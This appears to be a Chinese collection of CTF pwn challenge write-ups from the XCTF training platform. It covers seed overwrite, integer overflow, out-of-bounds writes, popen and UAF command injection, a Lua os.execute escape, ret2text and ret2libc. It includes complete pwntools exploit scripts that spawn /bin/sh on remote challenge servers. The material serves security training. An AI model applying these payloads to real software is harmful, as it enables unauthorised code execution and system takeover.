Pwn 攻防世界合集
基础
pwntools
1※ get_shell
-
考点:pwntools 使用
-
作为整个 PWN 系列的启航点,本题旨在引导使用 python 中的
pwntools
远程连接服务器,进行交互: -
通过引入
pwn
库,remote
进行服务器连接,interactive
进入控制台交互模式,可以使用 linux 指令进行交互。 -
可以看到成功进入了,我们
ls
查看有什么文件: -
可以看到里面有一个
flag
文件,一般来说 pwn 的题目目标是获取系统权限进入这个交互模式,然后打开flag
得到里面的 flag。 -
这道题目我们直接就在控制台内交互了,所以
cat flag
获得 flag:
random
1※ guess_num
-
考点:random 伪随机
-
先在 linux 下看一下保护,用
checksec file
来查看,发现四种保护基本全开:-
NX(DEP):数据执行防护。堆,栈,bss段无执行权限
-
Canary(FS):栈溢出保护。进入子函数前往栈紧挨
s
也就是放bp
前随机放一个值,即将返回时检测是否被修改,修改则直接退出程序。 -
RELRO(ASLR):堆栈地址随机化。并且涉及部分段的读写权限。
-
PIE:代码地址随机化。但是由于ELF是页加载机制,每次加载 0x1000 的代码,所以代码地址的后三位不会变。
-
-
发现是 64位 小段程序,拖进 IDA64 点左侧
main
按 F5 反编译,发现程序大致流程是用gets
读入一个名字,这里存在着溢出。然后采用一个随机数种子猜十轮随机数: -
我们发现随机数采用的种子在
gets
读入的 v7 的下方,那么我们可以直接覆盖它来人为控制种子,这样后面的随机数就直接用同样的种子生成就可以了: -
那么观察 IDA 提供的堆栈地址,直接构造 payload,先用
0x20
个字节填充 v7,然后用 0 覆盖seed[0]
即可: -
然后我们准备调用生成随机数的函数,注意 linux 用的生成方式和 windows 不一样,不能在 windows 里用
c/c++
生成完拿过来用。我们先找一下虚拟机里有这个函数的库在哪里。 -
在 linux 里输入
ldconfig -p | grep pcap
来打印所有进入缓存了的库: -
选择这是
程序,选择x86_64
版本的,复制后面的存放路径。用ctypes
中的cdll.LoadLibrary()
函数来导入这个动态库: -
然后用
.srand()
函数将种子初始化为我们刚才覆盖的 0,接下来每轮按照程序内的生成方式.rand() % 6 + 1
生成数字后输入即可: -
最后运行程序获得 flag,附上完整 exp:
整数溢出
1※ int_overflow
-
考点:整数溢出
-
拿到题目先在 linux 下
checksec
查看下保护,发现只有NX
和Partial RELRO
,堆栈不可执行,堆栈地址随机,got 表可写,是个 32位 小端程序: -
拖进 IDA32 查看,点左侧
main
按 F5 反编译: -
简单分析输入 1 进
login
,发现里面两个read
都没法溢出: -
然后将
buf
传入check_passwd
函数,发现里面先用strlen
判断了传入字符串的长度存入 v3,然后将整个 s 复制进dest
: -
看起来似乎没有什么问题,但关键是 v3 的数据类型是
unsigned __int8
只有 8位 1个字节,那么最大最能存到 255,如果一个数字大于了 8 位,会先将其截断只取最后 8 位存进 v3。比如 256 赋值给 v3 就会是 0。 -
而下方判断 v3 的大小需要在 4到8 之间,所以我们字符串的长度只要在 260到264,截断后存入 v3 的值就满足判断了:
-
那么我们准备着手构造 payload,一个个查看左边的函数,发现有一个
what_is_this
函数,点进去发现是输出 flag -
按 Tab+空格 查看汇编代码文本试图,复制函数的入口地址
backdoor_addr = 0x0804868B
: -
那么可以开始构造 payload 了,先用
0x14
个字节填充dist
,然后用 4个字节 填充s
,接着填入我们要运行的程序的地址:backdoor_addr
。 -
由于我们一共要填充 260个字节,前面已经填充了
0x14 + 8 = 28
个字节,后面再填充 232个字节 然后补一个字符串结尾标识符\x00
即可: -
运行成功输出 flag,最后附上完整
:
数组下标越界
3※ stack2
-
拿到题目先在 linux 下
checksec
查看下保护,发现是 32位 小端程序,发现除了有NX
和Partial RELRO
,还开了Canary
保护: -
拖进 IDA32 查看
main
,有点复杂稍微分析下,看程序 banner 是一个计算平均数的计算器,先要我们初始化以一个数组: -
下面是一个循环,可以进行 4种 操作,
show
,add
,change
,get average
,其中在change
操作中并没有对偏移量进行检查,存在着溢出: -
那么我们可以通过这个操作修改
v13
下方的所有数据,即可以修改函数结束时的返回地址。需要注意的是v13
是一个char
类型数组,每次只能修改一个字节,多的部分会被截断: -
那么我们去左侧一个个寻找现成的后门,发现了
hackhere
函数中有着system("/bin/bash")
,虽然并不是"/bin/sh"
,但是我们可以只用里面的"sh"
即可,然后调用system
函数也可以模拟出system("sh")
: -
然后扒一下
system
函数的地址system_addr = 0x08048450
,由于我们需要一个字节一个字节修改,改成 4个字节,需要注意的是这是个 小端 程序,低字节应该存低位置的数据,所以我们倒过来一下system_addr = [0x50,0x84,0x04,0x08]
: -
然后扒一下
sh
的位置,/bin/bash
的起始位置是0x08048980
,那么sh
的起始位置为0x08048987
,同样倒过来sh_addr = [0x87,0x89,0x04,0x08]
: -
然后观察 IDA 中
v13
的位置为-70h
,那么我们需要从偏移0x74
个字节开始覆盖返回地址,由于一次只能覆盖一个字节。前四个字节为system
地址,接着 4个字节 为返回地址,马上获得权限进入交互模式了不会返回直接不写,再 4个字节 为字符串地址,写出脚本: -
但是运行程序发现并没有获得权限,我们查看
main
函数return
处的汇编代码,发现和以往的leave
后直接ret
不同,这里多了一句把ecx-4
赋给esp
,再往上看发现ecx
的值存在[ebp+var_4]
中: -
但是一直往上找,才在进入
main
函数最开始发现,将调用main
的那个函数的esp
存入了ecx
中,然后esp &= 0xFFFFFFF0
了,然后将ecx
指向的位置里的值存入[ebp+var_4]
中,可我们不知道那里面的值是多少: -
那么我们只能通过动态调试来观察这个偏移量究竟是多少了,在程序初始化
v13
时下一个断点,此时eax
里是v7
的地址: -
再在
ret
处下一个断点,此时就是esp
里就是真实的返回栈顶,接着便可以计算真实偏移量: -
开始调试,在第一次读入时发现,
EAX = 0xFFD6AB70
,v7
与v13
相差0x18
,计算可以得到&v13 = 0xFFD6AB88
: -
结束的时候,发现
ESP = 0xFFD6AC0C
: -
相减得到
w_offset = 0x84
,稍微改一下我们的偏移量: -
运行程序成功进入交互模式:
-
用
cat flag
成功获得 flag,最后附上完整 exp,(调整了下顺序):
3 ※ dubblesort
-
checksec 检查保护,发现保护全开,是 32 位程序:
-
IDA32 打开,简单逆向一下,发现未检查数组下标大小,存在栈溢出:
-
但问题在我们不知道 libc,而前面仅仅有一个 read 进 buf 并打印 buf:
-
我们只能去栈上找找有没有残留的数据,泄露出来计算出 libc。断点设在 __printf_chk 刚进入的时候,查看存放字符串的地址,发现确实有两个残留数据在 libc_base 的附近:
-
我们计算其与 libc_base 的偏移量两次,发现偏移量相同没有改变,可以用来计算 libc_base:
-
那么我们先把前面的空数据填满,然后泄露 libc:
py = b'a'*0x04*5 s(py) ru(b'a'*0x04*5) libc_base = uu32() - delta1
-
接着就可以考虑栈溢出构造 ROP 链了,由于开了 canary,我们在将要输入 canary 的时候,通过输入
+
或-
来跳过 scanf 的输入。这对%u %x %d
都有效。 -
但是这题对 esp 进行了保护,其在开头将 esp 的值压入栈中,在程序结束的时候再 pop 出来,这导致我们的 IDA 无法获取里面的具体值,与 ebp 的偏移量就算不准了。
-
不过先前的变量之间的相对位置还是准确的(即 canary 位于第 25 个位置),然后我们通过动态调试获取此时的 ebp 的偏移量,可以发现距离 canary 还有 4,即位于第 29 个位置:
-
由于后续会对我们输入的数据进行排序,由于 system_addr 总是小于 bin_sh_addr,我们先输入 24 个 0,然后
+
跳过 canary,然后输入 4个 system_addr,最后输入 bin_sh_addr,多试几次在 canary 小于 system_addr 的时候就可以获得权限了。 -
完整 exp:
from ShallowDreamTools import * Pwn.init(Url="61.147.171.105:55117",File="./dubblesort",Libc="./libc_32.so.6") Pwn.connect() # Pwn.db() # delta1 = 0xf7f8b540 - 0xf7d36000 # 0x255540 本地 # delta2 = 0xf7f02540 - 0xf7cad000 # 0x255540 本地 delta = 0x1ae244 # 远程偏移量 py = b'a'*0x04*7 # 远程为第 7 个 s(py) ru(b'a'*0x04*7) libc_base = uu32() - delta system_addr = libc_base + Pwn.libc.symbols['system'] bin_sh_addr = libc_base + next(Pwn.libc.search(b'/bin/sh')) leak("libc_base",libc_base) sl(b'35') # 远程为 9 py = [b'0']*24 + [b'+'] + [str(int(system_addr)).encode()]*9+[str(int(bin_sh_addr)).encode()] for x in py: sl(x) ita()
模糊测试
2※ warmup
-
考点:模糊测试
-
题目并没有给附件,看来是要我们 FUZZ(模糊测试)。
-
连接上题目给的网址,发现给了我们一个 16进制数,大概率是能够运行获取 flag 命令的地址:
-
那么根据这个地址分三种情况,不使用,用
p32()
发,和用p64()
发,写出模糊测试函数: -
然后写主函数,枚举前面填充字符串的长度:
-
运行程序,最后在
i=72
时输出了 flag:
popen
2※ secret_file
-
checksec 检查保护,保护全开,64 位程序:
-
进入程序简单逆向一下,找到溢出位置,getline 第二个参数读取长度为 v11 的地址,这个数字超级大,可以向下溢出其他变量:
-
发现后面检测 v15 字符串需要和 v17 字符串相等:
-
但是并没有找到 v15 相关的操作,进入前面的 init_str 函数看看,发现传入的参数为 dest 的地址,操作的位置却为 dest + 283,将一串字符串复制进去:
-
查看 main 里面局部变量的相对地址,发现 dest + 283 这正是 v15 的地址:
-
那么看 v17 是如何得到的。在 main 里会先将我们输入的字符串进行 SHA256 解码,然后将其转为 16进制 存进 v17:
-
通过检测后会执行 v14 内的 linux 命令,并将结果输出到一个文件内,然后输出出来:
-
所以我们只需要在 v14 里面覆盖入要执行的命令,然后将输入 dest 的内容用 SHA256 加密后转为 16进制,覆盖 v15 即可通过检测。
-
需要注意的是,本题通过 popen 执行命令,与 system 不同,不能获得权限。
-
也要注意的是 getline 本题设置以 '\x00' 截断,且默认 '\n' 截断,注意不要填充这两个字节。
-
还要注意的是,linux 命令识别以 '\n' 截断,由于我们不能填充这个字符,可以用 ';' 来标识命令结束。
-
我们先用 ls 指令查看有什么文件,再用 cat flag.txt 获得 flag。
-
完整 exp:
from pwn import * import hashlib p = remote("61.147.171.105",57413) # py = b'a'*0x100 + b'ls;'.ljust(27,b' ') + hashlib.sha256(b'a'*0x100).hexdigest().encode() py = b'a'*0x100 + b'cat flag.txt;'.ljust(27,b' ') + hashlib.sha256(b'a'*0x100).hexdigest().encode() p.sendline(py) p.interactive()
strdup
5※ time_formatter
-
考点:堆基础,strdup,linux 单双引号,UAF
-
checksec 检查保护,开了 NX 和 Canary:
-
IDA64 打开,简单逆向一下:
-
在 Set_time_formatter 和 Set_time_zone 两个函数中都会调用 Add_formatter 函数读入一个字符串,然后返回申请的堆的数据区地址。但是前者会对输入的字符串进行检查,禁止输入一些字符:
-
在 Add_formatter 在输入一个字符串后,会调用 Add_str 函数,用 strdup 申请一个大小为 strlen(str) 的堆,来存放刚才申请的字符串:
-
在 Show 函数中发现,将 ptr 里面的字符串复制到 command 的后面,由于 linux 可以用
;
来分隔以执行多条指令,所以我们可以使 ptr 为;/bin/sh
来执行后方的第二条命令。 -
由于格式化字符串会被加载在一对单引号中,而单引号会把内容全部当成字符串,双引号才会识别
;
为指令结束符,从而执行第二条指令。所以我们需要让 ptr 里的字符串为';/bin/sh'
来把'%s'
前后的单引号匹配变成双引号匹配。 -
那么继续看 Exit 函数,这里面有一个 Free 函数释放 ptr 指针:
-
但是其中没有清空指针,存在 UAF 漏洞:
-
由于最后我们需要让 ptr 指向一个存放
';/bin/sh'
长度为 10 的字符串,那么堆大小为 0x20(含堆头)。我们可以先通过 Set_time_formatter(功能1)输入一个长度为 0x1 ~ 0x18 的字符串来申请一个 0x20(含堆头)的堆 chunk1。由于存在检查我们输入合法字符,初始化 ptr;
然后使用 Exit(功能5),调用 Free(ptr) 释放 chunk1,不退出;
接着用 set_time_zone(功能3)申请字符串
';/bin/sh'
的堆,此时的堆会申请到之前 chunk1 相同的地址,那么就会把先前的内容修改成';/bin/sh'
。最后用 Show(功能4)来获得权限。
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = '61.147.171.105'; port = '52822' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './5781dfd4ffed4d51a72a28a8571ef063' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def cmd(idx): sla(b'> ',idx) def Set_time_formatter(str): cmd(b'1') sla(b'Format: ',str) def Set_time_zone(str): cmd(b'3') sla(b'Time zone: ',str) def Show(): cmd(b'4') def Exit(): cmd(b'5') sla(b'Are you sure you want to exit (y/N)? ',b'N') def pwn(): Set_time_formatter(b'a'*0x08) Exit() Set_time_zone(b"';/bin/sh'") Show() p.interactive() connect() pwn()
Lua
1※ Lua
-
考点:Lua 语言
-
题目没有给附件,nc 连接输入个 1 发现退出了,报了一个尝试 call a number value 的错误,看来会 call 我们输入的函数:
-
我们常熟输入 system("/bin/sh"),发现没有执行,看报错信息,尝试调用 输入的字符串 的函数,但是没有 system:
-
我们输入 system,发现有提示可以查看 help:
-
输入 help 发现返回了程序的源码,看程序开头 LuaS 说明这是一个 Lua 脚本,我们得输入脚本里面的函数:
-
那么我们尝试输入 os.execute("/bin/sh") 来执行与 c语言 system("/bin/sh") 相同的功能,成功获得权限:
-
最后的 exp:
from ShallowDreamTools import * Pwn.init(Url="61.147.171.105:55715",log_level="INFO") Pwn.connect() sl(b'os.execute("/bin/sh")') ita()
栈
ret2text
1※ hello_pwn
-
拖进
查看,发现左侧有main
函数,双击再 F5 查看反编译代码: -
发现主函数功能很简单,先读入最多 16 个字节的数据进
unk_601068
,然后判断dword_60106C
若等于1853186401
,执行函数sub_400686()
。 -
我们双击查看函数
sub_400686()
内容,发现就是输出 flag 的函数。 -
那目标就是让
dword_60106C
若等于1853186401
,返回main
,双击查看我们唯一可以交互的变量unk_601068
的存储地址: -
发现只占 4 个字节且接下来紧挨着
dword_60106C
,那么由于read()
函数参数允许我们最多读 16 个字节,所以我们可以先读 4 个字节进unk_601068
,继续读 4 个字节,会被存入dword_60106C
中。 -
所以我们只需要 将
1853186401
转为 16进制 写入即可,写出 python 脚本如下: -
可以看到成功得到 flag:
1※ level0
-
拖进 IDA64 查看,点击左侧
main
,F5 查看反编译代码,发现其中返回一个vulnerable_function
脆弱的函数: -
点击查看,发现函数功能是往一个最多 128 字节的 buf 内读入最多
0x200
即 512 个字节,根据上一题经验我们可以往 高地址( buf\space下方) 修改我们需要的数据。 -
由于 buf 是局部变量,所以系统会将其存储在栈内。我们都知道汇编代码会在在调用子函数前,把子函数结束时要返回的地址,以及需要复原的一些寄存器压入栈中。
-
而声明 buf 的过程会在这之后,这就导致 buf 比这些数据后压栈,即 buf 在它们的 上方(低地址)。
-
点击 buf 查看存储的位置:
-
可以看到确实如此,结合上方的 IDA 注释可以知道,在 buf 下方的 s 里存着寄存器的值,更下方的 r 里存着结束时要返回的地址。
-
所以我们需要通过往 buf 内写数据,用我们需要返回的地址覆盖掉 r 内的数据,就可以使子函数返回后,跳转到我们写入的地址继续执行程序。
-
那我们需要返回到哪里呢?我们的目标是让程序执行
system("/bin/sh")
使我们获得权限,或者system("cat flag")
输出 flag,观察左侧函数列表,发现有一个callsystem
函数: -
点进去发现正是我们所需要的
system("/bin/sh)"
: -
那么我们只需要将这个函数的入口地址写入即可,按 Tab+空格 查看汇编代码文本视图中的位置,左侧的 十六进制
400596
就是入口地址: -
再次查看 buf 占的地址,从
0000
到0080
共0x80
个字节,然后 8 个字节的s
,然后是我们要写入的 r: -
那么我们可以构造输入数据:
b'a'*0x80 + b'A'*0x08 + address
,其中address = p64(400596)
即是我们要执行的函数的入口地址,写出对应脚本: -
执行后可以发现程序停住了,光标一直在闪烁,此时我们已经成功执行
system("/bin/sh")
获得系统权限,那么ls
一下看看有什么: -
发现有
flag
文件,我们cat flag
得到 flag:
1※ 反应釜开关控制
-
考点:栈溢出
-
checksec 检查保护,发现只开了 NX:
-
找到漏洞位置,存在栈溢出:
-
程序有 backdoor:
-
那么直接溢出覆盖返回地址为 backdoor 的地址即可。
-
完整 exp:
from pwn import * p = remote("61.147.171.105",59616) backdoor_addr = 0x4005F6 py = b'a'*0x200 + b'A'*0x08 + p64(backdoor_addr) p.sendline(py) p.interactive()
1※ level2
-
拖进
显示用 ,拖进 点击左侧main
,F5 反编译: -
点击查看
vulnerable_function()
脆弱的函数,发现还是往最多 136 字节的 buf 内读入最多 256 个字节的数据: -
不同的是,这回我们找左侧现有的函数,发现没有执行
system("/bin/sh")
的函数。Shift+F12 查看字符串,发现有一个藏起来的/bin/sh
字符串: -
点击查看位置,发现名字叫做 hint,先把地址
0x0804A024
存起来备用: -
现在我们需要考虑,如何让程序执行
system("/bin/sh")
指令,我们回到main
观察一下已有的system("echo 'Hello World'")
是如何执行的。选中这一行,Tab+空格 查看汇编代码文本视图: -
我们发现,
system()
函数本质是执行一个字符串,每次在调用前将需要执行的字符串地址压入栈顶,然后call _system
来调用_system
函数: -
那么我们只需要在执行
_system
函数前,使当前栈顶存放的是字符串/bin/sh
的地址,即可执行system("/bin/sh")
了! -
回到脆弱的函数,点击 buf 查看存储位置,前
0x88
个字节存放 buf,由于这是个 32位 程序,每个寄存器都只占 4 个字节,所以不同于上一题,接下来只有 4 个字节存放 s,再有 4 个字节存放 r: -
我们已经知道函数返回的地址存放在
中了,那么需要关注返回后的栈顶在哪。 -
这需要我们了解汇编代码的执行过程,我们在脆弱的函数中 Tab 查看文本视图,看到函数返回时有三句
nop
,leave
,retn
:nop
是空语句,没有实际执行效果leave
等同于mov esp,ebp
然后pop ebp
。
这是因为在进入子程序后,程序会先将原先的ebp
保存在esp
所指的内存中,然后mov ebp,esp
来重置栈底。这样结束的时候通过leave
指令可以重新还原原来的ebp
和esp
。
-
所以 s 中存储的是原先的 ebp 值,而 s 的地址则是进入子函数前,压完所有传参后的栈顶。
retn
则等同于pop ip
。
这是因为主函数调用子函数前的最后一句是call 子函数
,call
指令会将主函数的下一条指令的位置压入栈中。
-
所以
中存储的是主函数将执行的下一条指令的地址
-
根据以上结论,所以在
ret
后,栈顶为&r+size
其中size
为一个寄存器的大小,32位程序即 4,所以我们只需要将/bin/sh
字符串的地址放在&r+size
中,将_system
函数的入口地址放在 r 中。 -
这样子函数返回时,栈顶中存着
/bin/sh
的地址,ip
又等于_system
的入口地址,就可以模拟system("/bin/sh")
了! -
至此我们写出脚本:
-
运行成功得到权限,
ls
一下,输入cat flag
,得到 flag:
1※ pwnstack
-
查看保护,只开了 NX:
-
找到溢出函数:
-
我们可以溢出 0x11 字节,并且存在现成的 backdoor:
-
那么直接覆盖 vuln 函数的返回地址为 backdoor 即可。
-
完整 exp:
from pwn import * p = remote("61.147.171.105",50028) backdoor_addr = 0x400766 py = b'a'*0xA0 + b'A'*0x08 + p64(backdoor_addr) p.send(py) p.interactive()
ret2libc
2※ level3
-
考点:ret2libc
-
拖进 IDA64,发现是个 32位 程序,拖进 IDA32,点击左侧
main
,按 F5 反编译,发现主函数很简单只有一个脆弱的函数和一个write
输出: -
点击查看脆弱的函数,和上一题一样也是往一个最多 136字节 的
buf
内读入不超过 256个字节,存在着相同的溢出方式。 -
但本题和上一题不同的是,我们一个个查看左边的函数,发现并没有相关的可以执行
_system
的函数: -
并且按 Shift+F12 查看字符串,也并没有
/bin/sh
字符串。那我们又该如何执行system("/bin/sh")
获取权限呢: -
关键在于,编写程序时之所以我们可以直接调用
system
等函数,是因为在编译时会动态链接一些已经写好的库,其中已经写好了system
等函数和一些字符串。可以简单理解为编译器会自动导入一些现成的头文件。 -
此时看题目提供的另一个文件
libc_32.so.6
,这应该就是服务器在编译时动态链接上的那个库: -
已知了服务器编译时链接了这个库,那么我们理论上就可以调用这个库内的已有函数。所以我们要了解程序在执行过程中是如何调用库函数的,然后写出脚本进行模拟。
-
我们关注 IDA32 中左侧粉色底色的函数,发现上半部分的所有函数都是下半部分对应的函数前面加了一个下划线
_
: -
点进上半部分额外加了一个下划线的函数
_write
,按 Tab+空格 查看汇编代码文本视图,发现全部都是只有一句jmp ds:xxx
指令的函数: -
而点击查看存储
jmp
跳转地址的位置,发现其实这里已经是数据段了(ELF文件代码段和数据段分开),而发现里面存的是另一个偏移量的,名字正是之前的那个函数不含下划线: -
再点进去,发现也是在数据段,由于是
jmp
跳转的地址,所以这些其实存储的都是一个个的地址。此时点击下半部分的同名函数write
,会发现正是指向这里,所以其实没有加下划线的函数中存储的是一个个的地址。 -
虽然现在左侧都是写的
00000000
,但是在程序运行中第一次尝试执行该函数时,会查找该函数在动态库中的地址,然后写入其中。接下来每次需要调用该函数时,程序就只需要直接访问存储在这里的地址即可,不需要再次查找。 -
这一项技术使得编写的 ELF 可执行文件可以与动态库分离,变得十分小巧,并且并不会使程序运行效率降低太多,每个函数只需要第一次执行时需要查找所在的地址,在此之后就再也不需要耗费时间查找函数存储的地址了,可以直接到这里拿取。
-
这就是所谓的 plt 表与 got 表动态链接库技术。
其中 plt 表指的是上半部分那些加了下划线的,负责
jmp ds:xxx
的函数它们的入口地址。而 got 表指的就是下半部分,这些
进程序的函数在动态库加载进程序内后的真实地址,用来提供给上半部分的函数来jmp
。
-
我们在程序中如果需要调用动态库中的函数,那么直接在 plt 表内调用地址就可以当做子函数调用了。
-
可是,如果我们的程序编译时,只会将使用到的函数写进 plt 表,而这道题目原本的程序并没有使用
system
函数,也就没有被写进 plt 表中了。这也是本题与上一题最本质的区别:我们想要调用未载入程序内的,动态链接库里的函数。 -
所以,我们要尝试获取
system
函数在动态链接库内的地址,然后直接调用它。在已知所使用的动态链接库的前提下,我们有现成的函数可以直接查找其在库内的地址: -
先用
ELF("libc_32.so.6")
打开库,然后可以用.symbols['xxx']
来查找名为xxx
的函数所在的地址。可以用next(.search(b'xxx'))
来查找库中某字符串xxx
所在的一个位置。 -
但是关键的一点是,程序内采用的地址编号是从该程序开头编的,而库中的地址编号是固定从库开头编的。
-
编译器将库链接进程序后,会整体附在某个地方而不一定是开头,这就导致了库内的地址编号并不一定是从程序的开头开始偏移的,需要我们额外加上一个偏移量。
-
我们已知 got 表内一些函数的真实位置,这是在执行过程中产生的,所以用的是此ELF文件的编码,从程序开头开始编号。
-
那么我们再找到这个函数在外部动态链接库中的地址,两个相减就可以计算出偏移量了,刚才我们看见 plt-got 表中有
write
函数,就拿它来算: -
但这时我们发现,我们查找到的是
write
函数在 got 表中的存储位置,而其函数的地址写在这个存储位置里面!所以我们需要想办法得到里面的地址,可以调用write
函数将里面的内容输出来! -
所以我们可以考虑用刚才脆弱的函数中的栈溢出处,来输出
write
函数的真实地址。这便是所谓的 泄露动态库地址。 -
需要注意的是,got 表需要
write
函数被第一次调用后才会将地址写入,我们需要确保在输出地址之前,write
已经被使用过,观察脆弱的函数,发现确实调用过: -
那么接下来我们可以构造 payload1 来输出地址了,根据上两题的经验,这是 32位 程序,每个寄存器占 4位。
先用 136个字节 填充
buf
,然后用 4个字节 填充s
,接着写脆弱的函数要返回的地址,也就是接下来要执行的函数:write
的 plt 表地址。然后填
write
函数结束后的返回地址,因为进入子函数前最后一句话是压入子函数返回后要执行的程序的地址,我们需要返回main
函数的开头再来一遍,因为这次溢出泄露write
函数的真实地址算出偏移量后,我们还需要再溢出一次来执行system("/bin/sh")
,其中main
函数的首地址同理通过elf.symbol['main']
来获取。 -
最后压入
write
函数的 3个 参数,分别是:模式,输出的字符串的地址,和输出长度(字节)。模式填 1 为写,地址填write
的 got 表地址,由于地址都是 32位 的 4个字节,填 4。 -
顺带一提,在 window 中 python 运行可能会报错:
-
我们需要放到 linux 环境下来运行这些 linux 的动态库。此时运行程序,会发现已经将地址输出出来了,但是每次运行输出都不一样。这是因为 linux 的地址默认会开启随机化 (ASLR) 来保护 :
-
所以我们并不能将其复制下来下次运行直接使用,我们要在程序内读到变量内,在本次程序中使用。
-
为了避免读入下一次
main
执行时输出的Input:\n
(\n
是 puts 输出后自带的),我们使用.recvuntil
,并且设置舍弃最后读到的终止符,即刚才的Input:\n
:drop=True
。 -
由于
recv
系列读下来的数据都是bytes
类型的,该程序是 32位 的,所以我们需要用u32
解包成int
类型,就得到write
函数在程序内编码的地址了: -
然后就可以计算出动态库的首地址与该程序首地址的差值啦,也就是偏移量,从而计算出之前得到的,在动态库中的
system
函数和字符串/bin/sh
在程序中的位置了: -
最后由于之前第一次泄漏时,将
write
函数结束后的返回地址设置为了main
的起始位置,现在我们又可以进行一次输入,再次进行栈溢出利用。不过这一次我们已经知道了system
函数和/bin/sh
字符串的地址了,接下来操作就和上一题一样了,只需要在溢出处执行system("/bin/sh")
即可。 -
我们再次构造 payload2,前 136个字节 填充
buf
,接着 4个字节 填充s
与第一次溢出一样。接着填入执行的程序的地址:算出的sys_addr
。 -
然后填入
system
函数结束后返回的地址,由于我们马上就得到权限进入交互模式了,这里填哪里都无所谓,并不会结束返回回来,我们随便写 0。 -
最后填入
system
的参数,即字符串/bin/sh
的地址:算出的sh_addr
。 -
大功告成!在 linux 下运行程序,成功获得权限进入交互模式:
-
我们
ls
一下发现有flag
,尝试cat flag
获得 flag: -
最后是完整的 exp,(调整了一下位置):
3※ pwn-200
-
查看保护,只开了 NX:
-
找到溢出函数:
-
那么只需要第一次构造 payload 用 write 泄露 read 的 got表内地址,就可以得到 read 函数的真实地址。
-
接着使用 LibcSearcher 查询对应的 libc 版本,计算 libc 基址。就可以通过 libc 基址加上函数在 libc 中的偏移量,得到 system 和 "/bin/sh" 的真实地址了。
-
那么我们构造 payload,由于是 32位程序,通过栈来传参。第一次泄露 read_got:
py = b'a'*0x6C + b'A'*0x04 + p32(write_plt) + p32(main_addr) +\ p32(1) + p32(read_got) + p32(4)
-
第二次执行 system("/bin/sh"):
py = b'a'*0x6C + b'A'*0x04 + p32(system_addr) + p32(0) + p32(binsh_addr)
-
完整 exp,打通本地:
# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "amd64",os = 'linux') context(arch = "i386",os = 'linux') ip = '61.147.171.105'; port = '50293' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './bed0c68697f74e649f3e1c64ff7838b8' # ld_name = './ld-2.31.so' local = 1 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) # ld = ELF(ld_name) elf = ELF(file_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def pwn(): read_got = elf.got["read"] write_plt = elf.plt["write"] main_addr = 0x080484BE py = b'a'*0x6C + b'A'*0x04 + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) sl(py) ru(b'Welcome to XDCTF2015~!\n') read_addr = u32(r(4)) leak("read_addr",read_addr) libc = LibcSearcher("read",read_addr) libc_base = read_addr - libc.dump("read") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") leak("libc_base",libc_base) leak("system_addr",system_addr) leak("binsh_addr",binsh_addr) py = b'a'*0x6C + b'A'*0x04 + p32(system_addr) + p32(0) + p32(binsh_addr) sl(py) p.interactive() connect() pwn()
-
但是本题用 LibcSearcher 找不到对应版本的 libc库,在许多别的题目也会遇到相同的问题:使用了专门为 64位系统 提供的 32位libc库。
-
此时我们需要使用 DynELF 函数,这是一个 pwntools 内的函数,不同于 LibcSercher 根据后三位查找对应版本,直接通过内存泄露查找函数:pwnlib.dynelf:
-
这样便不用担心找不到对应版本的 libc 了。但是这个函数并不能找到 /bin/sh 字符串,需要我们将 /bin/sh 通过 read 读到一个已知的地址(通常是 bss段),然后调用 system 函数。
-
所以我们更改 payload,先 read 读一个长度为 8 的字符串到 bss段,然后返回到 system,然后传入 bss_addr 作为 system 的参数:
py = b'a'*0x6C + b'A'*0x04 + p32(read_plt) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(8) +\ p32(0) + p32(bss_addr) sl(py) s(b'/bin/sh\x00')
-
完整 exp,打通远程和本地:
